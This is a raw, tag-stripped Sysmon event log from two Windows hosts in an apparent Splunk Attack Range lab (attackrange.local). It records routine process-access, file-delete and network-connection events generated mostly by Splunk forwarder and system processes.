14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015920Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015919Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015918Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015917Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015916Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015915Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015914Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015913Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-71E8-613B-E804-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015912Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.261{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E8-613B-E804-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015911Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:36.262{625C326B-71E8-613B-E804-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015928Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:37.511{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=052A6B339D039F306FB796728C5A729C,SHA256=D53FB37E92418526B655B4078B934230FC3261F0FEDA9C7EAF983DC3215B8C9C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:37.244{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=738BC88E96F1C0099669A34C2A9D95B6,SHA256=E69E7948EADFA32CFC4E71BE50EAF96EDEA2039FE42936885508FEE90558BF41,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015927Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.552{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50253-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015926Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:37.292{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5EED2E7925B675DB0162350218F6C883,SHA256=A5B7AAF053618874F36212160BB7FA4AECCF861C4D66F88A84C9418F4CEB8998,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015929Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:38.526{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED4EAE7070238CCF4E5B3559F4893087,SHA256=1A089137E8AE5CD150F854CA5961118F5EDFFC76C61678735988F80D23F482FC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F842D26367ECCD38B501D37FEDD3AC3,SHA256=F17E5D49EC3BDA11C371B4BCDE5E1849FFEB001A51981BE2BC24188F63702891,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:36.473{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59454-false10.0.1.12-8000- 10341000x800000000000000048189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44805596C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44805596C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44805596C:\Windows\Explorer.EXE{7BD73061-7099-613B-0E0B-00000000F001}6640C:\Windows\system32\cmd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:38.150{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-7099-613B-0F0B-00000000F001}6992C:\Windows\system32\conhost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015930Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:39.558{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BFA415AF8CEFF3C45FFAC33ED5BB09F,SHA256=FFC3A82DBDCEA0C9F557548E2324156381AA83C97AFEA8F03928D964B8F89A9E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:36.694{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53978- 354300x800000000000000048193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:36.694{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60711- 23542300x800000000000000048192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:39.509{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E71900CCCD399BAAE9CD37AF5B4C349,SHA256=C57D1253078A37900AEF95DBE92A493287DAB5F53B3DBCF0E78D808E28AD1524,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:40.541{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECCAA1824DECA35C1FA106BF69CE3880,SHA256=7E2242E37912D5FD96D6EF50D9D4C843ADAA6508B1C9E9F5EC6D9C7E2C4AF6B1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015931Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:40.620{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80693C8CDC36A01F94495B1902E9CBBB,SHA256=D55DA585303D70AB86EC204EFDBE7A7585CFB0B5BE57C4FFDBCFC34A52A87310,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:41.572{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B287FA74D957B91BD15A3F2B5608EFC,SHA256=2D7773B75B3D55907EBCB5D03985EC8C779C25AB3493D1237A0D35BD076A86B8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015932Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:41.636{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9A8257C121512B8A9C56E771A2B75C4F,SHA256=FC515311B450278572BA740929C66A6EC1A12A0E73F42C7120EC3F394C5062B5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015934Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:41.349{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50254-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015933Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:42.683{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0DEE67E75FBAE37CF5E596C8541A2D36,SHA256=1CD635C1F50B9CB1E34CF6BFA3BBD17C61A91B53E2572E219A92A21148BAAD54,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:42.619{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A03037CA2DC1F7B6B6EA62AFE1FFC32,SHA256=447479E79D8EFE66D5F6984778F34175E26803C10D63BC8C877E853394BC4847,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015935Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:43.698{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=54641008C1975F5E0F42E90408CF0F85,SHA256=A8A7BE0AFC40E3FB02489AF727E6A8D4D2D1EDF9B83A63C080E6C410CB1B8571,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:43.650{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E20EBF6427EF3499C467A9720215174C,SHA256=7A6950555422B1A4BB35CE7B4273482774C7C9D74B7742880010F8D41AA72A25,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:44.665{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF137674D8EF493E161CAC98DF692B59,SHA256=82E906FC6A0A5CA82ABFB884AD9457460E65634DF8B01C096C1945DF58538208,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015936Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:44.698{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program 